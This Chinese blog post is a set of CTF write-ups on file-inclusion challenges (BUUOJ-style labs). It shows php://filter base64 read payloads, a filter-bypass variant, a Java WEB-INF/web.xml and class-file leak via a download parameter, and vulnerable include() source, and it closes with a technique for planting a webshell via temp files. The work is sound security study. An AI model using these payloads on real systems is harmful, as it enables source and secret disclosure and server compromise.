文件包含小练
文件包含
[极客大挑战 2019]Secret
首先打开查看源代码
发现有个./Archive_room.php,可以打开。
点击select,出现这个界面,说明之前有东西停顿的时间太短了,我们用burp抓包试试
发现secr3t.php,访问它
开始代码审计
简单说明下strstr函数:搜索另一个字符串内字符串的首次出现。
如:echo strstr("Hello world!","world");将会输出'world'
flag在flag.php里,所以我们要想办法访问它,但是发现传入的file经过了一些过滤,但是没有过滤filter,所以我们可以用php://fileter来获取文件
构造payload
http://自己的地址/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
得到base64加密后的flag,将他解码,得到flag
[BSidesCF 2020]Had a bad day
首先点开界面发现什么也没有,查看源码,也什么也没有,所以我们点击选项,发现了端倪,发现了index.php
查看index.php的源码,提示错误,显示无法打开流。
经过尝试,发现去掉php后缀即可
http://你的地址/index.php?category=php://filter/read=convert.base64-encode/resource=index
base64解码,审计源码,发现关键在这段代码内
简单讲一下strpos函数:查找字符串内首次出现"php"的位置:
如:echo strpos("I love php, I love php too!","php")将会得到7
说明传入的category需要有woofers,meowers,index才能包含传入以传入名为文件名的文件
我们需要在构造的时候有上面的参数,所以在伪协议中嵌套一层需要的参数
category=php://filter/read=convert.base64-encode/**meowers**/resource=flag
得到flag
将其base64解码即可
[RoarCTF 2019]Easy Java
打开题目后尝试输入,回显的都是这个
下面有个help
点击之后回显的是
同时url变为了
http://df2f2001-d145-49cb-97d9-1765773d2122.node4.buuoj.cn:81/Download?filename=help.docx
下面就涉及到了一个漏洞WEB-INF/web.xml泄露可以参考这篇文章(19条消息) ctf/web源码泄露及利用办法【总结中】_Sp4rkW的博客-CSDN博客_ctf源码泄露
所以我们先找一下WEB-INF/web.xml,先试试get传值
http://df2f2001-d145-49cb-97d9-1765773d2122.node4.buuoj.cn:81/Download?filename=WEB-INF/web.xml
没什么用,那么应该就是post传值了
下载了一个 文件,打开
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>
<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginController</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>
</web-app>
发现了一个com.wm.ctf.FlagController且应该是在
WEB-INF/classes/
试试访问它
filename=WEB-INF/classes/com/wm/ctf/FlagController.class
下载了一个文件,打开
发现了一段base64编码,解密,得到flag
[NPUCTF2020]ezinclude(临时文件包含)
打开题目就看到
用burp抓包试试
应该是哈希长度拓展攻击了,参考哈希长度拓展攻击(Hash Length Extension Attacks) - 先知社区 (aliyun.com)
源码里有一句注释
先尝试一下get传参
他会自动重定向到404
后面尝试发现应该用burp抓包分析
发现了一个flflflflag.php
打开它看看
发现
include($_GET["file"])
说明此题应该是文件包含,且为get传参,参数为file
利用伪协议看看源码
flflflflag.php?file=php://filter/read=convert.base64-encode/resource=flflflflag.php
base64解码后得到源码
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
过滤了data和input,不能命令执行了,php://input + [POST DATA]执行php代码
然后就没思路了,然后参考其他师傅的文章,发现可以利用php://filter/string.strip_tags导致php崩溃,同时上传文件保存在/tmp目录来上传木马. 文章参考:关于php文件操作的几个小trick - tr1ple - 博客园 (cnblogs.com)